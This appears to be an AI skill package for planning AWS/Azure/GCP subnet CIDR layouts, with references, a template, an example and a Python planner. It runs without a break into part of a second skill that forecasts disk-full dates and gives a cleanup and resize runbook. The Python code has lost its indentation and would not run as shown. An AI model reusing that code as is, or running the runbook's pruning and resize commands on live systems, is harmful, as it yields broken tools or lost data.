description: Plans and checks IPv4 subnet layouts for AWS, Azure, GCP or on-prem networks. Sizes each subnet from host counts plus growth and the provider's reserved addresses, allocates aligned CIDR blocks largest-first, and flags overlapping subnets, VPC ranges that clash with peered VPCs, VPNs or the docker0 bridge, public ranges, size limits, low headroom and single-zone layouts. Includes a stdlib Python planner with --self-test.
---
# VPC Subnet CIDR Planner
You help engineers carve a network into subnets that fit today, leave room to grow, and never collide with anything they will need to route to later. You turn "we need public, app and data subnets in two zones" into exact CIDR blocks, explain the numbers, and catch the overlaps that are painful to fix once workloads are running.
## Files in this skill
- `scripts/cidr_plan.py` - sizes and allocates subnets, lists usable host ranges and free blocks, and reports findings (Python 3 standard library only, uses `ipaddress`)
- `references/cidr-math-and-provider-rules.md` - prefix sizes table, alignment, reserved addresses and limits per provider, private ranges
- `references/subnet-layout-playbook.md` - tiered layouts, zone strategy, sizing Kubernetes pod subnets, avoiding overlaps with VPNs and peers, renumbering options
- `templates/subnet-plan.md` - a plan document for review or a pull request
- `examples/shop-platform-vpc.json` - an AWS /18 with legacy subnets, a peered analytics VPC and six new subnets in two zones
## Workflow
### 1. Gather the network facts
Ask for the provider, the VPC / VNet CIDR (or the range they may use), existing subnets, every network it must talk to (peered VPCs, VPNs, on-prem offices, partner links, other clouds), and the subnets they need: purpose, zone, hosts now, and expected growth. For Kubernetes, ask whether pods get VPC addresses (AWS VPC CNI, Azure CNI) because then pod count, not node count, sizes the subnet.
### 2. Run the planner
```
python3 scripts/cidr_plan.py examples/shop-platform-vpc.json
python3 scripts/cidr_plan.py plan.json --json
python3 scripts/cidr_plan.py --self-test
```
Exit code 1 means HIGH findings (overlaps, no space), 2 means bad input (host bits set, IPv6, overlapping VPC ranges).
### 3. Review the result
Fix HIGH findings first: an overlap with a peer or VPN cannot be routed and usually means picking a new VPC range now, while it is cheap. Use `references/subnet-layout-playbook.md` to adjust the layout (equal-sized subnets per zone, a spare block per tier, room for a third zone) and `references/cidr-math-and-provider-rules.md` to explain sizes. Re-run after each change.
### 4. Deliver
Fill `templates/subnet-plan.md` with the table, free blocks, findings and decisions. Offer Terraform or CLI snippets for the final blocks if asked.
## Example result
For `examples/shop-platform-vpc.json` (AWS 10.20.0.0/18): app subnets of 2,500 pods +60% growth get /20s (4,091 usable each) at 10.20.16.0/20 and 10.20.32.0/20; load balancer and data subnets get /25s (123 usable). Findings: HIGH legacy rds-b 10.20.1.128/25 overlaps rds-a 10.20.1.0/24; HIGH the peered analytics VPC 10.20.48.0/20 sits inside this VPC, so routing to it breaks; LOW only 20% of the space is left free.
## Rules
- Never propose a range that overlaps a known peer, VPN or on-prem network; ask for the full list if unsure.
- Plan for growth and a future zone; resizing a subnet in place is usually impossible.
- Keep IPv4 math exact; show usable counts after the provider's reserved addresses.
- Do not change live networks yourself; give a plan and the order of changes for the user to apply.
FILE:references/cidr-math-and-provider-rules.md
# CIDR Math and Provider Rules
## Prefix sizes (IPv4)
| Prefix | Addresses | AWS / Azure usable (-5) | GCP usable (-4) | Classic usable (-2) |
|---|---|---|---|---|
| /16 | 65,536 | 65,531 | 65,532 | 65,534 |
| /18 | 16,384 | 16,379 | 16,380 | 16,382 |
| /19 | 8,192 | 8,187 | 8,188 | 8,190 |
| /20 | 4,096 | 4,091 | 4,092 | 4,094 |
| /21 | 2,048 | 2,043 | 2,044 | 2,046 |
| /22 | 1,024 | 1,019 | 1,020 | 1,022 |
| /23 | 512 | 507 | 508 | 510 |
| /24 | 256 | 251 | 252 | 254 |
| /25 | 128 | 123 | 124 | 126 |
| /26 | 64 | 59 | 60 | 62 |
| /27 | 32 | 27 | 28 | 30 |
| /28 | 16 | 11 | 12 | 14 |
Each step of one in the prefix halves or doubles the block. Addresses = 2^(32 - prefix).
## Alignment
A block must start on a multiple of its own size: a /20 starts at x.x.0.0, x.x.16.0, x.x.32.0, ...; 10.20.8.0/20 is invalid (host bits set). Allocating largest blocks first keeps the space unfragmented; small subnets placed first can block every aligned slot for a big one.
## Reserved addresses per subnet
- **AWS:** first four (network, VPC router, DNS, reserved) and the last (broadcast) -> 5. VPC CIDR /16 to /28, subnets /16 to /28. Up to 5 CIDR blocks per VPC by default (secondary CIDRs can add space later).
- **Azure:** first four (network, gateway, 2 x DNS) and the last -> 5. Subnets up to /29. Some services need dedicated subnets (GatewaySubnet /27 or larger, AzureFirewallSubnet /26, AzureBastionSubnet /26).
- **GCP:** network, gateway, second-to-last and broadcast -> 4. Subnets are regional (not zonal), /29 smallest; secondary ranges for GKE pods and services.
- **Classic / on-prem:** network and broadcast -> 2 (/31 point-to-point links are a special case).
## Private and special ranges
- RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
- Carrier-grade NAT shared space 100.64.0.0/10 (RFC 6598): usable inside clouds, but check the ISP / VPN does not use it.
- Avoid: 172.17.0.0/16 (default docker0 bridge), 169.254.0.0/16 (link-local, cloud metadata), 192.168.0.0/24 and 192.168.1.0/24 (home routers, so VPN users clash), 10.0.0.0/16 (default VPC in many tools, so peers often clash).
- Public ranges inside a VPC make those internet addresses unreachable from it.
## Quick formulas
- Smallest prefix for N usable hosts with R reserved: 32 - ceil(log2(N + R)).
- Hosts with growth: ceil(hosts x (1 + growth)).
- Free space after a plan = VPC addresses - (existing + new + blocked peer ranges inside the VPC).
FILE:references/subnet-layout-playbook.md
# Subnet Layout Playbook
## Tiered layout per zone
| Tier | Holds | Typical size | Route |
|---|---|---|---|
| Public | load balancers, NAT gateways, bastion | /24 to /26 | internet gateway |
| Private app | VMs, containers, Kubernetes nodes and pods | largest, /20 to /22 | NAT gateway |
| Data | databases, caches, queues | /24 to /26 | no internet route |
| Spare | future tier or a third zone | keep one aligned block | - |
Use the same size per tier in every zone so a failover zone can carry the full load.
## Zone strategy
- At least two zones for anything production; three if the region and budget allow.
- Reserve the third zone's blocks now even if unused; it keeps the layout symmetrical.
- GCP subnets are regional, so plan per region instead of per zone.
## Sizing Kubernetes
- With AWS VPC CNI or Azure CNI every pod takes a VPC address: size app subnets by peak pods (nodes x max pods per node), plus surge during rolling updates (often +25%) and node replacement.
- Prefix delegation (AWS) or overlay networking (Calico, Cilium, kubenet, Azure CNI Overlay) moves pods to a separate range; then size by nodes and keep the pod CIDR clear of every peer.
- Keep the service CIDR (for example 172.20.0.0/16) clear of the VPC and peers too.
## Avoiding overlaps
- Collect every network you will ever route to: other VPCs and accounts, VPN clients, offices, partners, other clouds, and ranges used by acquired companies.
- Keep a central IP plan (spreadsheet or IPAM) and give each environment its own block, for example 10.20.0.0/16 prod, 10.21.0.0/16 staging, 10.22.0.0/16 dev.
- Do not pick 10.0.0.0/16, 172.17.0.0/16 or 192.168.0.0/24 to 192.168.1.0/24 for anything that VPN users reach.
## When something already overlaps
1. Prefer renumbering the smaller or newer side now (new VPC or a secondary CIDR, migrate, delete old).
2. If renumbering is impossible, use NAT (private NAT gateway, NAT on the VPN device) and route only translated ranges.
3. Overlapping subnets inside one VPC cannot be created on AWS / Azure / GCP; in documents they are usually typos, so verify the real values.
## Review checklist
- [ ] VPC range private and unique across all peers and VPNs
- [ ] every subnet aligned, inside the VPC and non-overlapping
- [ ] sizes include reserved addresses and growth
- [ ] same tier sizes in each zone; spare block kept
- [ ] at least 25% of the VPC left free
FILE:templates/subnet-plan.md
# Subnet Plan - <network name>
**Provider / region:** <aws eu-west-1> **VPC CIDR:** <10.x.0.0/16> **Owner:** <team> **Date:** <date>
**Peers / VPNs checked:** <list of ranges>
## Subnets
| Subnet | Tier | Zone | Hosts now | Growth | CIDR | Usable | Route table |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## Existing subnets kept
| Name | CIDR | Notes |
|---|---|---|
| | | |
## Free space
- Used or blocked: <n> of <total> (<x>% free)
- Spare blocks reserved for: <third zone / future tier>
## Findings and decisions
| Severity | Finding | Decision |
|---|---|---|
| | | |
## Rollout order
1. <create secondary CIDR / new VPC>
2. <create subnets and route tables>
3. <migrate workloads, remove old subnets>
FILE:examples/shop-platform-vpc.json
{
"name": "shop platform, eu-west-1 production VPC",
"provider": "aws",
"vpc_cidrs": ["10.20.0.0/18"],
"existing": [
{"name": "legacy bastion", "cidr": "10.20.0.0/26"},
{"name": "legacy rds-a", "cidr": "10.20.1.0/24"},
{"name": "legacy rds-b", "cidr": "10.20.1.128/25"}
],
"peers": [
{"name": "office VPN (Istanbul)", "cidr": "192.168.10.0/24"},
{"name": "analytics VPC (peered)", "cidr": "10.20.48.0/20"}
],
"requests": [
{"name": "public-a (load balancers)", "hosts": 40, "zone": "eu-west-1a", "growth": 0.5},
{"name": "public-b (load balancers)", "hosts": 40, "zone": "eu-west-1b", "growth": 0.5},
{"name": "app-a (EKS pods)", "hosts": 2500, "zone": "eu-west-1a", "growth": 0.6},
{"name": "app-b (EKS pods)", "hosts": 2500, "zone": "eu-west-1b", "growth": 0.6},
{"name": "data-a (databases, cache)", "hosts": 60, "zone": "eu-west-1a"},
{"name": "data-b (databases, cache)", "hosts": 60, "zone": "eu-west-1b"}
]
}
FILE:scripts/cidr_plan.py
#!/usr/bin/env python3
"""VPC subnet CIDR planner and checker (Python 3 standard library only).
Input: a network plan JSON file:
{"name": "prod-eu", "provider": "aws", "vpc_cidrs": ["10.40.0.0/16"],
"existing": [{"name": "legacy-db", "cidr": "10.40.8.0/24"}],
"peers": [{"name": "office vpn", "cidr": "192.168.0.0/22"}],
"requests": [{"name": "app-a", "hosts": 900, "zone": "eu-west-1a", "growth": 0.5}]}
provider: aws | azure | gcp | generic. Reserved addresses per subnet: aws 5, azure 5,
gcp 4, generic 2 (network + broadcast). Subnet size limits: aws /16../28,
azure /8../29, gcp /8../29, generic /8../30.
requests: hosts needed now; growth = extra fraction to reserve (default 0.3);
optional "prefix" forces a size. Allocation is largest-first, aligned, lowest free address,
never overlapping existing subnets or peer networks that sit inside the VPC.
Checks (severity):
HIGH OVERLAP_EXISTING two existing subnets overlap
HIGH OUTSIDE_VPC existing subnet not inside any VPC CIDR
HIGH PEER_OVERLAP VPC CIDR overlaps a peered / VPN / on-prem network (routing breaks)
HIGH NO_SPACE a request does not fit in the remaining space
MEDIUM DOCKER_DEFAULT VPC overlaps 172.17.0.0/16 (default docker0 bridge)
MEDIUM PUBLIC_RANGE VPC CIDR is not private (RFC 1918 / 100.64.0.0/10)
MEDIUM PREFIX_LIMIT requested or VPC prefix outside the provider limits
LOW LOW_HEADROOM less than 25% of the VPC left free after the plan
LOW SINGLE_ZONE all requests in one zone (no zone redundancy)
Usage:
python3 cidr_plan.py plan.json
python3 cidr_plan.py plan.json --json
python3 cidr_plan.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import ipaddress as ip
import json
import math
import sys
RESERVED = {"aws": 5, "azure": 5, "gcp": 4, "generic": 2}
HEAD_RESERVED = {"aws": 4, "azure": 4, "gcp": 2, "generic": 1} # rest are at the end of the block
LIMITS = {"aws": (16, 28), "azure": (8, 29), "gcp": (8, 29), "generic": (8, 30)}
PRIVATE = [ip.ip_network(c) for c in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "100.64.0.0/10")]
DOCKER = ip.ip_network("172.17.0.0/16")
class PlanError(ValueError):
pass
def net(cidr, what="cidr"):
try:
n = ip.ip_network(str(cidr).strip(), strict=True)
except ValueError as e:
raise PlanError(f"bad {what} {cidr!r}: {e}")
if n.version != 4:
raise PlanError(f"only IPv4 is supported: {cidr!r}")
return n
def usable(prefix, provider):
return max(0, 2 ** (32 - prefix) - RESERVED[provider])
def prefix_for(hosts, provider, growth):
need = math.ceil(hosts * (1 + growth))
lo, hi = LIMITS[provider]
for p in range(hi, lo - 1, -1):
if usable(p, provider) >= need:
return p
return None
def find_slot(vpcs, taken, prefix):
for v in vpcs:
if prefix < v.prefixlen:
continue
for cand in v.subnets(new_prefix=prefix):
if not any(cand.overlaps(t) for t in taken):
return cand
return None
def plan(cfg):
provider = str(cfg.get("provider", "generic")).lower()
if provider not in RESERVED:
raise PlanError(f"unknown provider {provider!r} (aws, azure, gcp, generic)")
vpcs = [net(c, "vpc_cidr") for c in cfg.get("vpc_cidrs") or []]
if not vpcs:
raise PlanError("vpc_cidrs is empty")
lo, hi = LIMITS[provider]
findings = []
def f(sev, code, where, msg):
findings.append({"severity": sev, "code": code, "where": where, "message": msg})
for v in vpcs:
if not any(v.subnet_of(p) for p in PRIVATE):
f("MEDIUM", "PUBLIC_RANGE", str(v), "not an RFC 1918 or 100.64.0.0/10 range; it may clash with real internet addresses")
if v.overlaps(DOCKER):
f("MEDIUM", "DOCKER_DEFAULT", str(v), "overlaps 172.17.0.0/16, the default docker0 bridge; containers on hosts in this VPC may lose routes")
if provider == "aws" and not (16 <= v.prefixlen <= 28):
f("MEDIUM", "PREFIX_LIMIT", str(v), "AWS VPC CIDR blocks must be /16 to /28")
for i, a in enumerate(vpcs):
for b in vpcs[i + 1:]:
if a.overlaps(b):
raise PlanError(f"vpc_cidrs overlap each other: {a} and {b}")
existing = []
for e in cfg.get("existing") or []:
n = net(e.get("cidr"), "existing cidr")
name = e.get("name") or str(n)
if not any(n.subnet_of(v) for v in vpcs):
f("HIGH", "OUTSIDE_VPC", name, f"{n} is not inside {', '.join(map(str, vpcs))}")
for other_name, o in existing:
if n.overlaps(o):
f("HIGH", "OVERLAP_EXISTING", name, f"{n} overlaps {other_name} {o}")
existing.append((name, n))
taken = [n for _, n in existing]
for p in cfg.get("peers") or []:
n = net(p.get("cidr"), "peer cidr")
name = p.get("name") or str(n)
for v in vpcs:
if v.overlaps(n):
f("HIGH", "PEER_OVERLAP", name, f"{n} overlaps VPC {v}; traffic to the overlapping range cannot be routed both ways (renumber one side or use NAT)")
taken.append(n)
reqs = []
for r in cfg.get("requests") or []:
name = r.get("name") or "subnet"
hosts = r.get("hosts", 0)
if not isinstance(hosts, int) or isinstance(hosts, bool) or hosts < 1:
raise PlanError(f"request {name!r}: hosts must be a positive integer")
growth = r.get("growth", 0.3)
if not isinstance(growth, (int, float)) or growth < 0:
raise PlanError(f"request {name!r}: growth must be >= 0")
if "prefix" in r:
pfx = r["prefix"]
if not isinstance(pfx, int) or not 8 <= pfx <= 30:
raise PlanError(f"request {name!r}: prefix must be an integer 8..30")
if not lo <= pfx <= hi:
f("MEDIUM", "PREFIX_LIMIT", name, f"/{pfx} is outside {provider} subnet limits /{lo}../{hi}")
else:
pfx = prefix_for(hosts, provider, growth)
reqs.append({"name": name, "hosts": hosts, "growth": growth, "zone": r.get("zone", ""), "prefix": pfx})
allocs = []
order = sorted(range(len(reqs)), key=lambda i: (reqs[i]["prefix"] if reqs[i]["prefix"] is not None else -1, i))
for i in order:
r = reqs[i]
slot = find_slot(vpcs, taken, r["prefix"]) if r["prefix"] is not None else None
if slot is None:
f("HIGH", "NO_SPACE", r["name"], f"needs {r['hosts']} hosts (+{round(r['growth'] * 100)}% growth) and no free aligned block is left")
allocs.append(dict(r, cidr=None, usable=0))
continue
taken.append(slot)
u = usable(slot.prefixlen, provider)
tail = RESERVED[provider] - HEAD_RESERVED[provider]
allocs.append(dict(r, cidr=str(slot), usable=u,
first=str(slot[HEAD_RESERVED[provider]]) if u else "-",
last=str(slot[-1 - tail]) if u else "-"))
if u < r["hosts"]:
f("HIGH", "NO_SPACE", r["name"], f"/{slot.prefixlen} gives only {u} usable addresses for {r['hosts']} hosts")
allocs.sort(key=lambda a: (a["cidr"] is None, ip.ip_network(a["cidr"]) if a["cidr"] else 0))
total = sum(v.num_addresses for v in vpcs)
used = 0
inside = [t for t in taken if any(t.subnet_of(v) for v in vpcs)]
for t in ip.collapse_addresses(inside):
used += t.num_addresses
free = total - used
free_blocks = []
for v in vpcs:
rest = [v]
for t in ip.collapse_addresses([x for x in inside if x.subnet_of(v)]):
nxt = []
for b in rest:
if t.subnet_of(b):
nxt.extend(b.address_exclude(t))
elif not b.subnet_of(t):
nxt.append(b)
rest = nxt
free_blocks.extend(sorted(rest))
if total and free / total < 0.25:
f("LOW", "LOW_HEADROOM", "plan", f"only {free / total:.0%} of the VPC address space is left free")
zones = {r["zone"] for r in reqs if r["zone"]}
if len(reqs) > 1 and len(zones) == 1:
f("LOW", "SINGLE_ZONE", "plan", f"all requests are in {zones.pop()}; spread subnets over at least two zones")
rank = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
findings.sort(key=lambda x: rank[x["severity"]])
return {"name": cfg.get("name", "network plan"), "provider": provider, "vpcs": [str(v) for v in vpcs],
"existing": [{"name": n, "cidr": str(c)} for n, c in existing],
"allocations": allocs, "total": total, "used": used, "free": free,
"free_blocks": [str(b) for b in free_blocks], "findings": findings}
def report(res):
out = [f"# Subnet plan: {res['name']}", "",
f"Provider: {res['provider']} (reserves {RESERVED[res['provider']]} addresses per subnet) VPC: {', '.join(res['vpcs'])}", "",
"| Subnet | Zone | Hosts now | Growth | CIDR | Usable | First host | Last host |", "|---|---|---|---|---|---|---|---|"]
for a in res["allocations"]:
out.append(f"| {a['name']} | {a['zone'] or '-'} | {a['hosts']} | {round(a['growth'] * 100)}% | {a['cidr'] or 'NOT PLACED'} | "
f"{a['usable']} | {a.get('first', '-')} | {a.get('last', '-')} |")
if res["existing"]:
out += ["", "Existing subnets kept: " + ", ".join(f"{e['name']} {e['cidr']}" for e in res["existing"])]
pct = res["free"] / res["total"] if res["total"] else 0
out += ["", f"Address space: {res['used']} of {res['total']} used or blocked, {res['free']} free ({pct:.0%})",
"Largest free blocks: " + (", ".join(sorted(res["free_blocks"], key=lambda c: ip.ip_network(c).prefixlen)[:6]) or "none"),
"", "## Findings"]
if not res["findings"]:
out.append("- none")
for x in res["findings"]:
out.append(f"- **{x['severity']} {x['code']}** ({x['where']}): {x['message']}")
return "\n".join(out) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
ok("aws /24 usable 251", usable(24, "aws") == 251)
ok("generic /24 usable 254", usable(24, "generic") == 254)
ok("gcp /29 usable 4", usable(29, "gcp") == 4)
ok("900 hosts +50% on aws -> /21", prefix_for(900, "aws", 0.5) == 21)
ok("250 hosts no growth aws -> /24", prefix_for(250, "aws", 0) == 24)
ok("252 hosts no growth aws -> /23", prefix_for(252, "aws", 0) == 23)
ok("too big for aws -> None", prefix_for(70000, "aws", 0) is None)
base = {"provider": "aws", "vpc_cidrs": ["10.0.0.0/16"]}
r = plan(dict(base, requests=[{"name": "a", "hosts": 200, "zone": "z1"}, {"name": "b", "hosts": 1000, "zone": "z2"}]))
cid = {a["name"]: a["cidr"] for a in r["allocations"]}
ok("largest first gets lowest block", cid == {"b": "10.0.0.0/21", "a": "10.0.8.0/23"})
ok("clean plan has no findings", r["findings"] == [])
aa = [a for a in r["allocations"] if a["name"] == "a"][0]
ok("first/last host skip aws reserved", (aa["first"], aa["last"]) == ("10.0.8.4", "10.0.9.254"))
g = plan({"provider": "gcp", "vpc_cidrs": ["10.0.0.0/16"], "requests": [{"name": "a", "hosts": 100, "growth": 0}]})["allocations"][0]
ok("gcp reserves 2 head + 2 tail", (g["cidr"], g["first"], g["last"]) == ("10.0.0.0/25", "10.0.0.2", "10.0.0.125"))
r = plan(dict(base, existing=[{"name": "old", "cidr": "10.0.0.0/22"}], requests=[{"name": "a", "hosts": 1000}]))
ok("allocation avoids existing", r["allocations"][0]["cidr"] == "10.0.8.0/21")
r = plan(dict(base, existing=[{"name": "x", "cidr": "10.0.0.0/24"}, {"name": "y", "cidr": "10.0.0.128/25"}]))
ok("overlap existing flagged", any(x["code"] == "OVERLAP_EXISTING" for x in r["findings"]))
r = plan(dict(base, existing=[{"name": "x", "cidr": "10.1.0.0/24"}]))
ok("outside vpc flagged", any(x["code"] == "OUTSIDE_VPC" for x in r["findings"]))
r = plan(dict(base, peers=[{"name": "vpn", "cidr": "10.0.4.0/22"}], requests=[{"name": "a", "hosts": 900, "growth": 0}]))
ok("peer overlap flagged", any(x["code"] == "PEER_OVERLAP" for x in r["findings"]))
ok("allocation avoids peer range", r["allocations"][0]["cidr"] == "10.0.0.0/22")
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/24"], "requests": [{"name": "a", "hosts": 200}]})
ok("no space flagged", any(x["code"] == "NO_SPACE" for x in r["findings"]))
r = plan({"provider": "generic", "vpc_cidrs": ["172.16.0.0/12"]})
ok("docker default flagged", any(x["code"] == "DOCKER_DEFAULT" for x in r["findings"]))
r = plan({"provider": "generic", "vpc_cidrs": ["8.8.0.0/16"]})
ok("public range flagged", any(x["code"] == "PUBLIC_RANGE" for x in r["findings"]))
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/8"]})
ok("aws vpc /8 flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/22"], "requests": [{"name": "a", "hosts": 400, "zone": "z1"}, {"name": "b", "hosts": 300, "zone": "z1"}]})
ok("low headroom flagged", any(x["code"] == "LOW_HEADROOM" for x in r["findings"]))
ok("single zone flagged", any(x["code"] == "SINGLE_ZONE" for x in r["findings"]))
r = plan(dict(base, requests=[{"name": "a", "hosts": 10, "prefix": 30}]))
ok("forced /30 on aws flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
r = plan(dict(base, requests=[{"name": "a", "hosts": 1000}]))
ok("free blocks cover rest", sum(ip.ip_network(b).num_addresses for b in r["free_blocks"]) == 65536 - 2048)
for bad, label in ((dict(base, vpc_cidrs=[]), "empty vpc"), (dict(base, vpc_cidrs=["10.0.0.1/16"]), "host bits set"),
(dict(base, provider="oracle"), "unknown provider"), (dict(base, requests=[{"hosts": 0}]), "zero hosts"),
(dict(base, vpc_cidrs=["10.0.0.0/16", "10.0.128.0/17"]), "overlapping vpcs"),
(dict(base, vpc_cidrs=["fd00::/48"]), "ipv6")):
try:
plan(bad)
ok(label + " rejected", False)
except PlanError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Plan and check VPC subnet CIDR blocks.")
ap.add_argument("file", nargs="?", help="network plan JSON")
ap.add_argument("--json", action="store_true", help="print machine-readable JSON")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a plan JSON file or --self-test")
try:
cfg = json.load(open(a.file, encoding="utf-8"))
res = plan(cfg)
except (OSError, json.JSONDecodeError, PlanError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res), end="" if not a.json else "\n")
return 1 if any(x["severity"] == "HIGH" for x in res["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Forecasts when disks and volumes will fill up from usage samples (CSV of timestamp, volume, used and size). Fits overall and last-week growth rates, removes one-off jumps from the trend, and gives days and dates to 80, 90, 95 and 100% full plus a size that keeps 90 days of headroom. Flags volumes filling soon, accelerating growth, sudden jumps, noisy trends and thin data. Includes a stdlib Python forecaster with --self-test.
---
name: disk-capacity-runway-forecaster
description: Forecasts when disks and volumes will fill up from usage samples (CSV of timestamp, volume, used and size). Fits overall and last-week growth rates, removes one-off jumps from the trend, and gives days and dates to 80, 90, 95 and 100% full plus a size that keeps 90 days of headroom. Flags volumes filling soon, accelerating growth, sudden jumps, noisy trends and thin data. Includes a stdlib Python forecaster with --self-test.
---
# Disk Capacity Runway Forecaster
You help on-call engineers and sysadmins answer "when will this disk fill up, and what should we do before then?" From usage samples exported from monitoring (Prometheus, CloudWatch, Datadog, Zabbix, a cron job running `df`), you compute the runway for each volume, rank volumes by urgency, explain why a forecast can be wrong, and propose concrete fixes: clean up, rotate, resize or move data.
## Files in this skill
- `scripts/disk_runway.py` - reads a CSV of samples, fits growth rates, and prints a ranked runway table with findings and suggested sizes (Python 3 standard library only)
- `references/forecasting-method.md` - how the trend, recent rate, one-off jumps, runway and suggested size are computed, and the limits of a linear forecast
- `references/disk-full-runbook.md` - finding what grows, safe cleanups, log and backup retention, resizing on Linux and in the cloud, alert thresholds
- `templates/capacity-review.md` - a capacity review to share with the team or attach to a ticket
- `examples/fleet-disk-usage.csv` - three weeks of daily samples for four volumes: a steady database, a log volume with rotation, a CI runner speeding up and a backup NAS with a one-off jump
## Workflow
### 1. Collect samples
Ask for at least a week (better 3-4 weeks) of samples per volume: timestamp, volume (host:mount), used GB and size GB. Example sources: Prometheus `node_filesystem_size_bytes - node_filesystem_avail_bytes`, CloudWatch `disk_used_percent` with the volume size, or `df -BG --output=target,used,size` from cron. Also ask what lives on each volume and about known events (migrations, new backups, releases).
### 2. Run the forecaster
```
python3 scripts/disk_runway.py examples/fleet-disk-usage.csv
python3 scripts/disk_runway.py usage.csv --horizon 180 --json
python3 scripts/disk_runway.py --self-test
```
Exit code 1 means a CRITICAL or HIGH volume, 2 means bad input.
### 3. Explain and act
Start with CRITICAL and HIGH volumes. For each, say what is growing and how fast, the date it hits 90% and 100%, and the fastest safe action from `references/disk-full-runbook.md`. Treat NOISY_TREND and FEW_SAMPLES results as rough. For SUDDEN_JUMP, confirm the cause (a new backup set, a database dump, a log burst) before planning around it. Use `references/forecasting-method.md` to explain why the recent rate may win over the long-term trend.
### 4. Deliver
Fill `templates/capacity-review.md` with the table, actions, owners and dates, and suggest alert thresholds (for example a warning at 80% or 14 days of runway, a page at 90% or 3 days).
## Example result
For `examples/fleet-disk-usage.csv` (last samples 2026-10-21 06:00): ci-runner01:/ is HIGH, already at 80% and growing 5.6 GB/day in the last week vs 2.1 overall, 90% in 3.6 days and full by 2026-10-28; db01:/var/lib/postgresql grows a steady 3 GB/day and reaches 80% in 13.3 days (MEDIUM, suggested 790 GB); backup-nas had a one-off +405.6 GB jump on 2026-10-16 that is not extrapolated, leaving 120 days to 80%; web01:/var/log is OK but noisy (log rotation).
## Rules
- Never suggest deleting data without saying exactly what, how to check it is safe, and how to recover; prefer rotation, compression, retention policies and resizing.
- Say which rate a date is based on and that linear forecasts miss sudden events.
- Times in the report follow the timestamps in the data; say which time zone they are in.
- Do not run cleanup or resize commands on live systems yourself; give the commands for the user to review.
FILE:references/forecasting-method.md
# Forecasting Method
## Inputs
One row per sample: `timestamp,volume,used_gb,size_gb`. Rows may be unsorted and mixed across volumes. The latest `size_gb` is used, so a resize during the window is handled.
## Growth rates
- **Overall rate:** least-squares slope of used GB over time (GB/day) across all samples. R^2 (0 to 1) says how well a straight line fits: about 1.0 for steady growth, under 0.5 for sawtooth patterns such as log rotation or temp files.
- **Recent rate:** the same slope over the last 7 days (or the last third of the data when there are less than 14 days). It catches growth that has just sped up.
- **Runway rate:** the worse (higher) of the two. When the recent rate is more than 1.5 times the overall rate, the volume is flagged ACCELERATING.
## One-off jumps
A step between two samples larger than 5% of the volume size is treated as a one-off event (a new backup set, a restored dump, a large upload). It stays in the current usage but is removed from the trend: later points are shifted down by the jump minus a typical step, so a single event is not extrapolated forever. The jump is reported as SUDDEN_JUMP so a person can confirm it really was one-off. If it repeats (a weekly full backup), keep longer data so the pattern becomes part of the trend, or plan the next jump explicitly.
## Runway
For each threshold T in 80, 90, 95 and 100%:
`days = (T x size - used now) / runway rate`, counted from the last sample. Zero means the threshold is already passed; "never" means usage is flat or falling.
Dates are the last sample time plus the days, in the same time zone as the data.
## Suggested size
The smallest multiple of 10 GB that keeps usage under 80% for the horizon (default 90 days):
`size >= (used now + runway rate x horizon) / 0.8`, and never smaller than the current size.
Example: 128 GB used, 2 GB/day, 180 days -> (128 + 360) / 0.8 = 610 GB.
## Status levels
| Status | Rule |
|---|---|
| CRITICAL | 95% or more used, or full within 7 days |
| HIGH | 90% within 14 days |
| MEDIUM | 80% within 30 days, or accelerating, or a sudden jump |
| OK | none of the above |
## Limits
- A straight line cannot see future events: a migration, a new customer, a log level left on DEBUG.
- Filesystems often misbehave before 100%: ext4 reserves about 5% for root, databases need free space for vacuum, compaction or index builds, and some write paths fail at 90-95%.
- Inode exhaustion (`df -i`) can fill a disk with plenty of free GB; forecast inodes the same way if many small files are written.
- Thin-provisioned and shared storage (LVM thin pools, SAN, Ceph) can fill underneath a volume that looks fine.
FILE:references/disk-full-runbook.md
# Disk Full Runbook
## 1. Find what grows
```
df -h /mount; df -i /mount # space and inodes
sudo du -xh --max-depth=2 /mount | sort -h | tail -20
sudo find /mount -xdev -type f -size +1G -mtime -7 -exec ls -lh {} +
sudo lsof +L1 # deleted files still held open
journalctl --disk-usage
docker system df # images, containers, volumes, build cache
```
Deleted-but-open files keep their space until the process restarts or reopens the log.
## 2. Safe quick wins (check before deleting)
| Source | Action |
|---|---|
| Application logs | logrotate with `compress`, `maxsize`, `rotate N`; ship logs to central storage |
| systemd journal | `journalctl --vacuum-size=1G`, set `SystemMaxUse=` |
| Docker / CI runners | `docker image prune -a --filter until=168h`, `docker builder prune`; clear runner work dirs |
| Package caches | `apt-get clean`, `dnf clean all`, old kernels |
| Database | archive or drop old partitions, `VACUUM` / table repack, check WAL or binlog retention and stuck replication slots |
| Backups | apply the retention policy; move old sets to object storage or cold tier |
| Core dumps, heap dumps, tmp | remove after the incident owner confirms |
Never `rm` a file a database is using; never clear WAL or binlogs by hand.
## 3. Resize
- **AWS EBS:** modify the volume size, wait for the optimizing state, then `sudo growpart /dev/nvme0n1 1` and `sudo resize2fs /dev/nvme0n1p1` (ext4) or `sudo xfs_growfs /mount` (xfs). One size increase per 6 hours per volume.
- **Azure managed disk / GCP persistent disk:** increase the size (Azure may need the VM deallocated for some disks), then grow the partition and filesystem the same way.
- **LVM:** `lvextend -r -L +100G vg/lv` grows the filesystem too.
- **Kubernetes PVC:** edit `spec.resources.requests.storage` when the StorageClass has `allowVolumeExpansion: true`.
